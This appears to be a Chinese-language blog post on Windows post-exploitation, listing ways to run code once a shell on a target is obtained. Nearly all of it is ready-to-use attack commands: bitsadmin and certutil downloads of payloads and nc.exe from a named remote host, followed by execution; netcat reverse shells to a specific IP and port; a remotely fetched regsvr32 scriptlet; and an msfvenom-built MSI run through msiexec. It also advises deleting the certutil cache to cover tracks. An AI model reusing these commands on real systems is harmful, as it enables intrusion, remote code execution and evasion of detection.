Win命令执行的的几种姿势

0、简介

拿到目标shell可以使用下面几种命令执行的姿势。

1、CobaltStrike 命令上线

使用CobaltStrike生成powershell payload

img

2、bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

注:需要管理员权限,普通用户没有权限使用,保存文件需要绝对路径。

1
bitsadmin /transfer n http://xx.imortal.icu/artifact.exe C:\shell.exe & start C:\shell.exe

img

img

使用nc反弹shell

1
bitsadmin /transfer n http://xx.imortal.icu/nc.exe C:\nc.exe & start C:\nc.exe -t -e cmd.exe 121.4.69.24 6667

img

3、certutil

certutil工具用于备份证书服务,xp-win10都支持。certutil下载文件会留下缓存,建议下载文件后对缓存进行删除。

注:缓存位置

1
2
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
certutil -urlcache -split -f http://xx.imortal.icu/artifact.exe 7z.exe & start 7z.exe

img

注:certutil可以使用普通用户下运行,cs获得的权限根据命令用户的权限,普通用户不带红色闪电,使用管理员运行会带红色闪电

当然也可以使用nc反弹shell

1
certutil -urlcache -split -f http://xx.imortal.icu/nc.exe nc.exe & start nc.exe -t -e cmd.exe 121.4.69.24 6667

img

4、regsvr32

regsvr32命令用于注册COM组件,是Windows系统提供用来向系统注册控件或者卸载控件的命令。我们可以通过构造.sct文件,去下载执行我们的后门程序。

构造.sct文件执行命令

1
2
3
4
5
6
7
8
9
10
11
12
<?XML version="1.0"?>
<scriptlet>
<registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
regsvr32.exe /u /n /s /i:http://xx.imortal.icu/calc.sct scrobj.dll

5、msiexec

1
2
#使用msf生成msi文件,上传到vps
msfvenom -p windows/exec CMD='calc.exe' -f msi > calc.msi

img

1
msiexec /q /i http://tools.imortal.icu/calc.msi

img